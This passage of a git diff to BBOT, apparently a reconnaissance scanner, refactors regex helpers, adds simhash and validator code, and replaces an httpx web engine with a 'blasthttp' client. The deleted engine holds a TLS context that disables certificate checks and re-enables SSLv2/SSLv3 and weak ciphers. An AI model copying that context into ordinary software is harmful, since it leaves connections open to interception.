+    "wilson",
+    "woo",
     "worf",
     "wormtongue",
     "xavier",
diff --git a/bbot/core/helpers/regex.py b/bbot/core/helpers/regex.py
index 72c4029cb7..7a6ec0b9cc 100644
--- a/bbot/core/helpers/regex.py
+++ b/bbot/core/helpers/regex.py
@@ -29,19 +29,19 @@ def compile(self, *args, **kwargs):
 
     async def search(self, compiled_regex, *args, **kwargs):
         self.ensure_compiled_regex(compiled_regex)
-        return await self.parent_helper.run_in_executor(compiled_regex.search, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(compiled_regex.search, *args, **kwargs)
 
     async def match(self, compiled_regex, *args, **kwargs):
         self.ensure_compiled_regex(compiled_regex)
-        return await self.parent_helper.run_in_executor(compiled_regex.match, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(compiled_regex.match, *args, **kwargs)
 
     async def sub(self, compiled_regex, *args, **kwargs):
         self.ensure_compiled_regex(compiled_regex)
-        return await self.parent_helper.run_in_executor(compiled_regex.sub, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(compiled_regex.sub, *args, **kwargs)
 
     async def findall(self, compiled_regex, *args, **kwargs):
         self.ensure_compiled_regex(compiled_regex)
-        return await self.parent_helper.run_in_executor(compiled_regex.findall, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(compiled_regex.findall, *args, **kwargs)
 
     async def findall_multi(self, compiled_regexes, *args, threads=10, **kwargs):
         """
@@ -55,7 +55,7 @@ async def findall_multi(self, compiled_regexes, *args, threads=10, **kwargs):
         tasks = {}
 
         def new_task(regex_name, r):
-            task = self.parent_helper.run_in_executor(r.findall, *args, **kwargs)
+            task = self.parent_helper.run_in_executor_cpu(r.findall, *args, **kwargs)
             tasks[task] = regex_name
 
         compiled_regexes = dict(compiled_regexes)
@@ -77,7 +77,7 @@ def new_task(regex_name, r):
 
     async def finditer(self, compiled_regex, *args, **kwargs):
         self.ensure_compiled_regex(compiled_regex)
-        return await self.parent_helper.run_in_executor(self._finditer, compiled_regex, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(self._finditer, compiled_regex, *args, **kwargs)
 
     async def finditer_multi(self, compiled_regexes, *args, **kwargs):
         """
@@ -85,7 +85,7 @@ async def finditer_multi(self, compiled_regexes, *args, **kwargs):
         """
         for r in compiled_regexes:
             self.ensure_compiled_regex(r)
-        return await self.parent_helper.run_in_executor(self._finditer_multi, compiled_regexes, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(self._finditer_multi, compiled_regexes, *args, **kwargs)
 
     def _finditer_multi(self, compiled_regexes, *args, **kwargs):
         matches = []
@@ -98,16 +98,16 @@ def _finditer(self, compiled_regex, *args, **kwargs):
         return list(compiled_regex.finditer(*args, **kwargs))
 
     async def extract_params_html(self, *args, **kwargs):
-        return await self.parent_helper.run_in_executor(misc.extract_params_html, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(misc.extract_params_html, *args, **kwargs)
 
     async def extract_emails(self, *args, **kwargs):
-        return await self.parent_helper.run_in_executor(misc.extract_emails, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(misc.extract_emails, *args, **kwargs)
 
     async def search_dict_values(self, *args, **kwargs):
         def _search_dict_values(*_args, **_kwargs):
             return list(misc.search_dict_values(*_args, **_kwargs))
 
-        return await self.parent_helper.run_in_executor(_search_dict_values, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(_search_dict_values, *args, **kwargs)
 
     async def recursive_decode(self, *args, **kwargs):
-        return await self.parent_helper.run_in_executor(misc.recursive_decode, *args, **kwargs)
+        return await self.parent_helper.run_in_executor_cpu(misc.recursive_decode, *args, **kwargs)
diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py
index f50ea2519c..15226ed9d3 100644
--- a/bbot/core/helpers/regexes.py
+++ b/bbot/core/helpers/regexes.py
@@ -53,6 +53,9 @@
 )
 ip_range_regexes = [re.compile(r, re.I) for r in _ip_range_regexes]
 
+# SPF qualifier + ip4:/ip6: mechanism prefix, e.g. the "ip4:" in "ip4:1.2.3.0/24" (RFC 7208)
+spf_ip_mechanism_regex = re.compile(r"^[+\-~?]?ip[46]:", re.I)
+
 # all dns names including IP addresses and bare hostnames (e.g. "localhost")
 _dns_name_regex = r"(?:\w(?:[\w-]{0,100}\w)?\.?)+(?:[xX][nN]--)?[^\W_]{1,63}\.?"
 # dns names with periods (e.g. "www.example.com")
@@ -157,7 +160,14 @@
     re.DOTALL,
 )
 post_form_regex_noaction = re.compile(
-    r"<form[^>]*(?:\baction=[\"']?([^\s\"'<>]+)[\"']?)?[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>",
+    # Negative lookahead rejects forms that already carry action= (those are
+    # handled by post_form_regex / post_form_regex2 with the real action URL).
+    # Without it, the action group's `?` makes this regex over-eagerly match
+    # forms with action, capturing '' and emitting a phantom WEB_PARAMETER
+    # whose url falls back to event.url — racing the legitimate emission.
+    # The empty `()` keeps findall's tuple shape (form_action, form_content)
+    # consistent with the other form regexes consumed by GetForm.extract().
+    r"<form(?![^>]*\baction=)()[^>]*\bmethod=[\"']?[pP][oO][sS][tT][\"']?[^>]*>([\s\S]*?)<\/form>",
     re.DOTALL,
 )
 generic_form_regex = re.compile(
@@ -166,9 +176,15 @@
 )
 
 select_tag_regex = re.compile(
-    r"<select[^>]+?name=[\"\']?([_\-\.\w]+)[\"\']?[^>]*>(?:\s*<option[^>]*?value=[\"\']?([_\.\-\w]*)[\"\']?[^>]*>)?",
+    r"<select[^>]+?\bname=[\"\']?([_\-\.\w]+)[\"\']?[^>]*>((?:\s*<option\b[^>]*>(?:[^<]*(?:</option>)?)?\s*)*)",
     re.IGNORECASE | re.DOTALL,
 )
+option_tag_regex = re.compile(r"<option\b([^>]*)>", re.IGNORECASE)
+option_value_regex = re.compile(
+    r"""\bvalue\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s>'"]+))""",
+    re.IGNORECASE,
+)
+option_selected_regex = re.compile(r"(?<![\-\w])selected(?![\-\w])", re.IGNORECASE)
 
 textarea_tag_regex = re.compile(
     r"<textarea[^>]*?\sname=[\"\']?([\-\._=+\/\w]+)[\"\']?[^>]*?\svalue=[\"\']?([:%\-\._=+\/\w]*)[\"\']?[^>]*?>"
diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py
new file mode 100644
index 0000000000..e602c2923e
--- /dev/null
+++ b/bbot/core/helpers/simhash.py
@@ -0,0 +1,116 @@
+import xxhash
+import re
+
+_non_word_re = re.compile(r"[^\w]+")
+
+
+class SimHashHelper:
+    def __init__(self, bits=64):
+        self.bits = bits
+
+    @staticmethod
+    def compute_simhash(text, bits=64, truncate=True, normalization_filter=None):
+        """
+        Static method for computing a SimHash fingerprint.
+
+        Designed to be called via run_in_executor_cpu(): the work is short and the
+        input is truncated to ~3KB inside the helper, so a thread pool avoids the
+        pickle/spawn overhead of a process pool.
+
+        Args:
+            text (str): The text to hash
+            bits (int): Number of bits for the hash. Defaults to 64.
+            truncate (bool): Whether to truncate large text for performance. Defaults to True.
+            normalization_filter (str): Text to remove for normalization. Defaults to None.
+
+        Returns:
+            int: The SimHash fingerprint
+        """
+        helper = SimHashHelper(bits=bits)
+        return helper.hash(text, truncate=truncate, normalization_filter=normalization_filter)
+
+    def _truncate_content(self, content):
+        """
+        Truncate large content for similarity comparison to improve performance.
+
+        Truncation rules:
+        - If content <= 3072 bytes: return as-is
+        - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes
+        """
+        content_length = len(content)
+
+        # No truncation needed for smaller content
+        if content_length <= 3072:
+            return content
+
+        # Truncate: first 2048 + last 1024 bytes
+        first_part = content[:2048]
+        last_part = content[-1024:]
+
+        return first_part + last_part
+
+    def _normalize_text(self, text, normalization_filter):
+        """
+        Normalize text by removing the normalization filter from the text.
+        """
+        return text.replace(normalization_filter, "")
+
+    def _get_features(self, text):
+        """Extract 3-character shingles as features"""
+        width = 3
+        text = text.lower()
+        # Remove non-word characters
+        text = _non_word_re.sub("", text)
+        # Create 3-character shingles
+        return [text[i : i + width] for i in range(max(len(text) - width + 1, 1))]
+
+    def _hash_feature(self, feature):
+        """Return a hash of a feature using xxHash"""
+        return xxhash.xxh64(feature.encode("utf-8")).intdigest()
+
+    def hash(self, text, truncate=True, normalization_filter=None):
+        """
+        Generate a SimHash fingerprint for the given text.
+
+        Args:
+            text (str): The text to hash
+            truncate (bool): Whether to truncate large text for performance. Defaults to True.
+                When enabled, text larger than 4KB is truncated to first 2KB + last 1KB for comparison.
+
+        Returns:
+            int: The SimHash fingerprint
+        """
+        # Apply truncation if enabled
+        if truncate:
+            text = self._truncate_content(text)
+
+        if normalization_filter:
+            text = self._normalize_text(text, normalization_filter)
+
+        vector = [0] * self.bits
+        features = self._get_features(text)
+
+        for feature in features:
+            hv = self._hash_feature(feature)
+            for i in range(self.bits):
+                bit = (hv >> i) & 1
+                vector[i] += 1 if bit else -1
+
+        # Final fingerprint
+        fingerprint = 0
+        for i, val in enumerate(vector):
+            if val >= 0:
+                fingerprint |= 1 << i
+        return fingerprint
+
+    def similarity(self, hash1, hash2):
+        """
+        Compute similarity between two SimHashes as a value between 0.0 and 1.0.
+        """
+        # Hamming distance: count of differing bits
+        diff = (hash1 ^ hash2).bit_count()
+        return 1.0 - (diff / self.bits)
+
+
+# Module-level alias for the static method to enable clean imports
+compute_simhash = SimHashHelper.compute_simhash
diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py
index 97a39fae3c..577f124756 100644
--- a/bbot/core/helpers/validators.py
+++ b/bbot/core/helpers/validators.py
@@ -7,7 +7,7 @@
 from bbot.core.helpers import regexes
 from bbot.errors import ValidationError
 from bbot.core.helpers.url import parse_url, hash_url
-from bbot.core.helpers.misc import smart_encode_punycode, split_host_port, make_netloc, is_ip
+from bbot.core.helpers.misc import smart_encode_punycode, split_host_port, make_netloc, is_dns_name, is_ip
 
 log = logging.getLogger("bbot.core.helpers.validators")
 
@@ -129,14 +129,60 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address]
     raise ValidationError(f'Invalid hostname: "{host}"')
 
 
+def validate_fqdn_or_ip(host):
+    """Strict FQDN-or-IP check. Accepts an IPv4/IPv6 address or a hostname
+    containing at least one dot. Rejects single-label values (e.g.
+    `localhost`, or a domain typed without its TLD), so domain-shaped
+    config fields fail at preset-load time instead of surfacing as runtime
+    errors deep in a scan.
+
+    `None` and the empty string pass through to support optional config
+    fields with `null` defaults.
+
+    Unlike `validate_host`, this function does not normalize the input
+    (no port-stripping, lowercasing, or punycode conversion); it returns
+    the value as supplied. Use it as a pydantic `field_validator` on
+    schema fields that must be an FQDN or IP and nothing else.
+
+    Examples:
+        >>> validate_fqdn_or_ip("example.com")
+        'example.com'
+        >>> validate_fqdn_or_ip("192.168.1.1")
+        '192.168.1.1'
+        >>> validate_fqdn_or_ip("localhost")
+        ValueError: not a valid FQDN or IP address: 'localhost'
+    """
+    if host is None or host == "":
+        return host
+    if is_ip(host):
+        return host
+    if isinstance(host, str) and "." in host and is_dns_name(host):
+        return host
+    raise ValueError(f"not a valid FQDN or IP address: {host!r}")
+
+
+FINDING_SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
+
+
 @validator
 def validate_severity(severity: str):
     severity = str(severity).strip().upper()
-    if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"):
+    if severity not in FINDING_SEVERITY_LEVELS:
         raise ValueError(f"Invalid severity: {severity}")
     return severity
 
 
+FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED")
+
+
+@validator
+def validate_confidence(confidence: str):
+    confidence = str(confidence).strip().upper()
+    if confidence not in FINDING_CONFIDENCE_LEVELS:
+        raise ValueError(f"Invalid confidence: {confidence}")
+    return confidence
+
+
 @validator
 def validate_email(email: str):
     email = smart_encode_punycode(str(email).strip().lower())
diff --git a/bbot/core/helpers/web/client.py b/bbot/core/helpers/web/client.py
deleted file mode 100644
index b76e6058ee..0000000000
--- a/bbot/core/helpers/web/client.py
+++ /dev/null
@@ -1,119 +0,0 @@
-import httpx
-import logging
-from httpx._models import Cookies
-
-log = logging.getLogger("bbot.core.helpers.web.client")
-
-
-class DummyCookies(Cookies):
-    def extract_cookies(self, *args, **kwargs):
-        pass
-
-
-class BBOTAsyncClient(httpx.AsyncClient):
-    """
-    A subclass of httpx.AsyncClient tailored with BBOT-specific configurations and functionalities.
-    This class provides rate limiting, logging, configurable timeouts, user-agent customization, custom
-    headers, and proxy settings. Additionally, it allows the disabling of cookies, making it suitable
-    for use across an entire scan.
-
-    Attributes:
-        _bbot_scan (object): BBOT scan object containing configuration details.
-        _persist_cookies (bool): Flag to determine whether cookies should be persisted across requests.
-
-    Examples:
-        >>> async with BBOTAsyncClient(_bbot_scan=bbot_scan_object) as client:
-        >>>     response = await client.request("GET", "https://example.com")
-        >>>     print(response.status_code)
-        200
-    """
-
-    @classmethod
-    def from_config(cls, config, target, *args, **kwargs):
-        kwargs["_config"] = config
-        kwargs["_target"] = target
-        web_config = config.get("web", {})
-        retries = kwargs.pop("retries", web_config.get("http_retries", 1))
-        ssl_verify = web_config.get("ssl_verify", False)
-        if ssl_verify is False:
-            from .ssl_context import ssl_context_noverify
-
-            ssl_verify = ssl_context_noverify
-        kwargs["transport"] = httpx.AsyncHTTPTransport(retries=retries, verify=ssl_verify)
-        kwargs["verify"] = ssl_verify
-        return cls(*args, **kwargs)
-
-    def __init__(self, *args, **kwargs):
-        self._config = kwargs.pop("_config")
-        self._target = kwargs.pop("_target")
-
-        self._web_config = self._config.get("web", {})
-        http_debug = self._web_config.get("debug", None)
-        if http_debug:
-            log.trace(f"Creating AsyncClient: {args}, {kwargs}")
-
-        self._persist_cookies = kwargs.pop("persist_cookies", False)
-
-        # timeout
-        http_timeout = self._web_config.get("http_timeout", 20)
-        if "timeout" not in kwargs:
-            kwargs["timeout"] = http_timeout
-
-        # headers
-        headers = kwargs.get("headers", None)
-        if headers is None:
-            headers = {}
-
-        # cookies
-        cookies = kwargs.get("cookies", None)
-        if cookies is None:
-            cookies = {}
-
-        # user agent
-        user_agent = self._web_config.get("user_agent", "BBOT")
-        if "User-Agent" not in headers:
-            headers["User-Agent"] = user_agent
-        kwargs["headers"] = headers
-        kwargs["cookies"] = cookies
-        # proxy
-        proxies = self._web_config.get("http_proxy", None)
-        kwargs["proxy"] = proxies
-
-        log.verbose(f"Creating httpx.AsyncClient({args}, {kwargs})")
-        super().__init__(*args, **kwargs)
-        if not self._persist_cookies:
-            self._cookies = DummyCookies()
-
-    def build_request(self, *args, **kwargs):
-        if args:
-            url = args[0]
-            kwargs["url"] = url
-        url = kwargs["url"]
-
-        target_in_scope = self._target.in_scope(str(url))
-
-        if target_in_scope:
-            if not kwargs.get("cookies", None):
-                kwargs["cookies"] = {}
-            for ck, cv in self._web_config.get("http_cookies", {}).items():
-                if ck not in kwargs["cookies"]:
-                    kwargs["cookies"][ck] = cv
-
-        request = super().build_request(**kwargs)
-
-        if target_in_scope:
-            for hk, hv in self._web_config.get("http_headers", {}).items():
-                hv = str(hv)
-                # don't clobber headers
-                if hk not in request.headers:
-                    request.headers[hk] = hv
-        return request
-
-    def _merge_cookies(self, cookies):
-        if self._persist_cookies:
-            return super()._merge_cookies(cookies)
-        return cookies
-
-    @property
-    def retries(self):
-        return self._transport._pool._retries
diff --git a/bbot/core/helpers/web/engine.py b/bbot/core/helpers/web/engine.py
deleted file mode 100644
index 1c3ecc0f52..0000000000
--- a/bbot/core/helpers/web/engine.py
+++ /dev/null
@@ -1,240 +0,0 @@
-import ssl
-import anyio
-import httpx
-import asyncio
-import logging
-import traceback
-from socksio.exceptions import SOCKSError
-from contextlib import asynccontextmanager
-
-from bbot.core.engine import EngineServer
-from bbot.core.helpers.misc import bytes_to_human, human_to_bytes, get_exception_chain, truncate_string
-
-log = logging.getLogger("bbot.core.helpers.web.engine")
-
-
-class HTTPEngine(EngineServer):
-    CMDS = {
-        0: "request",
-        1: "request_batch",
-        2: "request_custom_batch",
-        3: "download",
-    }
-
-    client_only_options = (
-        "retries",
-        "max_redirects",
-    )
-
-    def __init__(self, socket_path, target, config={}, debug=False):
-        super().__init__(socket_path, debug=debug)
-        self.target = target
-        self.config = config
-        self.web_config = self.config.get("web", {})
-        self.http_debug = self.web_config.get("debug", False)
-        self._ssl_context_noverify = None
-        self.web_clients = {}
-        self.web_client = self.AsyncClient(persist_cookies=False)
-
-    def AsyncClient(self, *args, **kwargs):
-        # cache by retries to prevent unwanted accumulation of clients
-        # (they are not garbage-collected)
-        retries = kwargs.get("retries", 1)
-        try:
-            return self.web_clients[retries]
-        except KeyError:
-            from .client import BBOTAsyncClient
-
-            client = BBOTAsyncClient.from_config(self.config, self.target, *args, **kwargs)
-            self.web_clients[client.retries] = client
-            return client
-
-    async def request(self, *args, **kwargs):
-        raise_error = kwargs.pop("raise_error", False)
-        # TODO: use this
-        cache_for = kwargs.pop("cache_for", None)  # noqa
-
-        client = kwargs.get("client", self.web_client)
-
-        # allow vs follow, httpx why??
-        allow_redirects = kwargs.pop("allow_redirects", None)
-        if allow_redirects is not None and "follow_redirects" not in kwargs:
-            kwargs["follow_redirects"] = allow_redirects
-
-        # in case of URL only, assume GET request
-        if len(args) == 1:
-            kwargs["url"] = args[0]
-            args = []
-
-        url = kwargs.get("url", "")
-
-        if not args and "method" not in kwargs:
-            kwargs["method"] = "GET"
-
-        client_kwargs = {}
-        for k in list(kwargs):
-            if k in self.client_only_options:
-                v = kwargs.pop(k)
-                client_kwargs[k] = v
-
-        if client_kwargs:
-            client = self.AsyncClient(**client_kwargs)
-
-        try:
-            async with self._acatch(url, raise_error):
-                if self.http_debug:
-                    log.trace(f"Web request: {str(args)}, {str(kwargs)}")
-                response = await client.request(*args, **kwargs)
-                if self.http_debug:
-                    log.trace(
-                        f"Web response from {url}: {response} (Length: {len(response.content)}) headers: {response.headers}"
-                    )
-                return response
-        except httpx.HTTPError as e:
-            if raise_error:
-                _response = getattr(e, "response", None)
-                return {"_request_error": str(e), "_response": _response}
-
-    async def request_batch(self, urls, threads=10, **kwargs):
-        async for (args, _, _), response in self.task_pool(
-            self.request, args_kwargs=urls, threads=threads, global_kwargs=kwargs
-        ):
-            yield args[0], response
-
-    async def request_custom_batch(self, urls_and_kwargs, threads=10, **kwargs):
-        async for (args, kwargs, tracker), response in self.task_pool(
-            self.request, args_kwargs=urls_and_kwargs, threads=threads, global_kwargs=kwargs
-        ):
-            yield args[0], kwargs, tracker, response
-
-    async def download(self, url, **kwargs):
-        warn = kwargs.pop("warn", True)
-        raise_error = kwargs.pop("raise_error", False)
-        filename = kwargs.pop("filename")
-        try:
-            result = await self.stream_request(url, **kwargs)
-            if result is None:
-                raise httpx.HTTPError(f"No response from {url}")
-            content, response = result
-            log.debug(f"Download result: HTTP {response.status_code}")
-            response.raise_for_status()
-            with open(filename, "wb") as f:
-                f.write(content)
-            return filename
-        except httpx.HTTPError as e:
-            log_fn = log.verbose
-            if warn:
-                log_fn = log.warning
-            log_fn(f"Failed to download {url}: {e}")
-            if raise_error:
-                _response = getattr(e, "response", None)
-                return {"_download_error": str(e), "_response": _response}
-
-    async def stream_request(self, url, **kwargs):
-        follow_redirects = kwargs.pop("follow_redirects", True)
-        max_size = kwargs.pop("max_size", None)
-        raise_error = kwargs.pop("raise_error", False)
-        if max_size is not None:
-            max_size = human_to_bytes(max_size)
-        kwargs["follow_redirects"] = follow_redirects
-        if "method" not in kwargs:
-            kwargs["method"] = "GET"
-        try:
-            total_size = 0
-            chunk_size = 8192
-            chunks = []
-
-            async with self._acatch(url, raise_error=True), self.web_client.stream(url=url, **kwargs) as response:
-                agen = response.aiter_bytes(chunk_size=chunk_size)
-                async for chunk in agen:
-                    _chunk_size = len(chunk)
-                    if max_size is not None and total_size + _chunk_size > max_size:
-                        log.verbose(
-                            f"Size of response from {url} exceeds {bytes_to_human(max_size)}, file will be truncated"
-                        )
-                        await agen.aclose()
-                        break
-                    total_size += _chunk_size
-                    chunks.append(chunk)
-                return b"".join(chunks), response
-        except httpx.HTTPError as e:
-            self.log.debug(f"Error requesting {url}: {e}")
-            if raise_error:
-                raise
-
-    def ssl_context_noverify(self):
-        if self._ssl_context_noverify is None:
-            ssl_context = ssl.create_default_context()
-            ssl_context.check_hostname = False
-            ssl_context.verify_mode = ssl.CERT_NONE
-            ssl_context.options &= ~ssl.OP_NO_SSLv2 & ~ssl.OP_NO_SSLv3
-            ssl_context.set_ciphers("ALL:@SECLEVEL=0")
-            ssl_context.options |= 0x4  # Add the OP_LEGACY_SERVER_CONNECT option
-            self._ssl_context_noverify = ssl_context
-        return self._ssl_context_noverify
-
-    @asynccontextmanager
-    async def _acatch(self, url, raise_error):
-        """
-        Asynchronous context manager to handle various httpx errors during a request.
-
-        Yields:
-            None
-
-        Note:
-            This function is internal and should generally not be used directly.
-            `url`, `args`, `kwargs`, and `raise_error` should be in the same context as this function.
-        """
-        try:
-            yield
-        except httpx.TimeoutException:
-            if raise_error:
-                raise
-            else:
-                log.verbose(f"HTTP timeout to URL: {url}")
-        except httpx.ConnectError:
-            if raise_error:
-                raise
-            else:
-                log.debug(f"HTTP connect failed to URL: {url}")
-        except httpx.HTTPError as e:
-            if raise_error:
-                raise
-            else:
-                log.trace(f"Error with request to URL: {url}: {e}")
-                log.trace(traceback.format_exc())
-        except httpx.InvalidURL as e:
-            if raise_error:
-                raise
-            else:
-                log.warning(
-                    f"Invalid URL (possibly due to dangerous redirect) on request to : {url}: {truncate_string(str(e), 200)}"
-                )
-                log.trace(traceback.format_exc())
-        except ssl.SSLError as e:
-            msg = f"SSL error with request to URL: {url}: {e}"
-            if raise_error:
-                raise httpx.RequestError(msg)
-            else:
-                log.trace(msg)
-                log.trace(traceback.format_exc())
-        except anyio.EndOfStream as e:
-            msg = f"AnyIO error with request to URL: {url}: {e}"
-            if raise_error:
-                raise httpx.RequestError(msg)
-            else:
-                log.trace(msg)
-                log.trace(traceback.format_exc())
-        except SOCKSError as e:
-            msg = f"SOCKS error with request to URL: {url}: {e}"
-            if raise_error:
-                raise httpx.RequestError(msg)
-            else:
-                log.trace(msg)
-                log.trace(traceback.format_exc())
-        except BaseException as e:
-            # don't log if the error is the result of an intentional cancellation
-            if not any(isinstance(_e, asyncio.exceptions.CancelledError) for _e in get_exception_chain(e)):
-                log.trace(f"Unhandled exception with request to URL: {url}: {e}")
-                log.trace(traceback.format_exc())
-            raise
diff --git a/bbot/core/helpers/web/response_event.py b/bbot/core/helpers/web/response_event.py
new file mode 100644
index 0000000000..16dafd4695
--- /dev/null
+++ b/bbot/core/helpers/web/response_event.py
@@ -0,0 +1,87 @@
+"""Build HTTP_RESPONSE event data dicts from blasthttp.Response objects.
+
+Materializes hash and cert_info eagerly, so only call when about to emit an
+HTTP_RESPONSE event (otherwise blasthttp.Response stays lazy).
+"""
+
+import re
+from urllib.parse import urlparse
+
+
+_TITLE_REGEX = re.compile(r"<title[^>]*>(.*?)</title>", re.IGNORECASE | re.DOTALL)
+
+
+def response_to_event_dict(response, url_input, method="GET"):
+    """Convert a blasthttp.Response into the dict format HTTP_RESPONSE events expect.
+
+    Args:
+        response: a blasthttp.Response (native 0.5+ object with .hash, .cert_info)
+        url_input: the original scan-target identifier (host:port or full URL)
+        method: HTTP method used to fetch the response
+
+    Returns:
+        dict with keys url, input, status_code, method, path, host, raw_header,
+        header, content_type, content_length, title, body, location, hash. Adds
+        cert_info when the response carried a TLS certificate.
+    """
+    parsed = urlparse(response.url)
+    path = parsed.path or "/"
+
+    status_line = f"HTTP/1.1 {response.status} \r\n"
+    raw_header = f"{status_line}{response.raw_headers}\r\n\r\n"
+
+    header_dict = {}
+    for k, v in response.headers.items():
+        key = k.lower().replace("-", "_")
+        if key in header_dict:
+            header_dict[key] += f", {v}"
+        else:
+            header_dict[key] = v
+
+    content_type = header_dict.get("content_type", "")
+    content_length = int(header_dict.get("content_length", len(response.body_bytes)))
+    location = header_dict.get("location", "")
+
+    body = response.body
+    title = ""
+    title_match = _TITLE_REGEX.search(body)
+    if title_match:
+        title = title_match.group(1).strip()
+
+    j = {
+        "url": response.url,
+        "input": url_input,
+        "status_code": response.status,
+        "method": method,
+        "path": path,
+        "host": parsed.hostname or "",
+        "raw_header": raw_header,
+        "header": header_dict,
+        "content_type": content_type,
+        "content_length": content_length,
+        "title": title,
+        "body": body,
+        "location": location,
+        "hash": {
+            "body_md5": response.hash.body_md5,
+            "body_mmh3": response.hash.body_mmh3,
+            "body_sha256": response.hash.body_sha256,
+            "header_md5": response.hash.header_md5,
+            "header_mmh3": response.hash.header_mmh3,
+            "header_sha256": response.hash.header_sha256,
+        },
+    }
+
+    ci = response.cert_info
+    if ci is not None:
+        j["cert_info"] = {
+            "common_name": ci.common_name,
+            "sans": ci.sans,
+            "emails": ci.emails,
+            "issuer": ci.issuer,
+            "not_before": ci.not_before,
+            "not_after": ci.not_after,
+            "fingerprint_sha256": ci.fingerprint_sha256,
+        }
+
+    return j
diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py
index 60ff35dd59..72ffe66e5b 100644
--- a/bbot/core/helpers/web/web.py
+++ b/bbot/core/helpers/web/web.py
@@ -1,16 +1,23 @@
+import json
+import asyncio
 import logging
+import traceback
 import warnings
 from pathlib import Path
-from bs4 import BeautifulSoup
-
-from bbot.core.engine import EngineClient
-from bbot.core.helpers.misc import truncate_filename
-from bbot.errors import WordlistError, CurlError, WebError
+from urllib.parse import urlencode, urlparse, urlunparse, parse_qs
 
+from bs4 import BeautifulSoup
 from bs4 import MarkupResemblesLocatorWarning
 from bs4.builder import XMLParsedAsHTMLWarning
 
-from .engine import HTTPEngine
+from blasthttp import HTTPStatusError
+
+from bbot.core.helpers.misc import truncate_filename, bytes_to_human, get_exception_chain
+from cachetools import LRUCache
+
+from bbot.core.helpers.async_helpers import NamedLock
+from bbot.core.helpers.diff import HttpCompare
+from bbot.errors import HttpCompareError, WordlistError, WebError
 
 warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning)
 warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning)
@@ -18,21 +25,36 @@
 log = logging.getLogger("bbot.core.helpers.web")
 
 
-class WebHelper(EngineClient):
-    SERVER_CLASS = HTTPEngine
-    ERROR_CLASS = WebError
+async def iter_batch_results(stream):
+    """
+    Yield individual ``BatchResult`` objects from a ``request_batch_stream`` iterator.
+
+    The native blasthttp 0.4.0 iterator yields lists of ``BatchResult`` (drained in
+    chunks of 1000 / 200ms to amortize the Python↔Rust boundary). A future Python
+    wrapper is expected to unwrap these into individual items. This helper handles
+    both shapes so callers can write a single ``async for`` loop.
+    """
+    async for item in stream:
+        if isinstance(item, list):
+            for r in item:
+                yield r
+        else:
+            yield item
+
 
+class WebHelper:
     """
-    Main utility class for managing HTTP operations in BBOT. It serves as a wrapper around the BBOTAsyncClient,
-    which itself is a subclass of httpx.AsyncClient. The class provides functionalities to make HTTP requests,
-    download files, and handle cached wordlists.
+    Main utility class for managing HTTP operations in BBOT. Uses blasthttp (Rust) as the
+    HTTP engine for all requests, downloads, and wordlist retrieval.
+
+    All requests go through the shared blasthttp client on the parent helper,
+    which supports global rate limiting via ``web.http_rate_limit``.
 
     Attributes:
         parent_helper (object): The parent helper object containing scan configurations.
         http_debug (bool): Flag to indicate whether HTTP debugging is enabled.
-        ssl_verify (bool): Flag to indicate whether SSL verification is enabled.
-        web_client (BBOTAsyncClient): An instance of BBOTAsyncClient for making HTTP requests.
-        client_only_options (tuple): A tuple of options only applicable to the web client.
+        ssl_verify_target (bool): Whether to verify SSL for target-directed traffic (default False).
+        ssl_verify_infrastructure (bool): Whether to verify SSL for non-target traffic (default True).
 
     Examples:
         Basic web request:
@@ -52,27 +74,167 @@ def __init__(self, parent_helper):
         self.web_config = self.config.get("web", {})
         self.web_spider_depth = self.web_config.get("spider_depth", 1)
         self.web_spider_distance = self.web_config.get("spider_distance", 0)
-        self.web_clients = {}
         self.target = self.preset.target
-        self.ssl_verify = self.config.get("ssl_verify", False)
-        engine_debug = self.config.get("engine", {}).get("debug", False)
-        super().__init__(
-            server_kwargs={"config": self.config, "target": self.parent_helper.preset.target},
-            debug=engine_debug,
-        )
+        self.http_debug = self.web_config.get("debug", False)
+        self.ssl_verify_target = self.web_config.get("ssl_verify_target", False)
+        self.ssl_verify_infrastructure = self.web_config.get("ssl_verify_infrastructure", True)
+        # Pre-compute config values for request preprocessing
+        self._http_timeout = self.web_config.get("http_timeout", 10)
+        self._http_retries = self.web_config.get("http_retries", 1)
+        self._http_proxy = self.web_config.get("http_proxy", None)
+        self._http_proxy_exclude = self.web_config.get("http_proxy_exclude", []) or []
+        ua = self.web_config.get("user_agent", "BBOT")
+        ua_suffix = self.web_config.get("user_agent_suffix") or ""
+        self._user_agent = f"{ua} {ua_suffix}".strip()
+        self._custom_headers = self.web_config.get("http_headers", {})
+        self._custom_cookies = self.web_config.get("http_cookies", {})
+        self._wildcard_cache = LRUCache(maxsize=50000)
+        self._wildcard_locks = NamedLock(max_size=50000)
+
+    @property
+    def client(self):
+        """The shared rate-limited blasthttp client for target-directed traffic."""
+        return self.parent_helper.blasthttp
+
+    def _build_blasthttp_kwargs(self, url, **kwargs):
+        """
+        Translate request kwargs into blasthttp.request() kwargs.
 
-    def AsyncClient(self, *args, **kwargs):
-        # cache by retries to prevent unwanted accumulation of clients
-        # (they are not garbage-collected)
-        retries = kwargs.get("retries", 1)
-        try:
-            return self.web_clients[retries]
-        except KeyError:
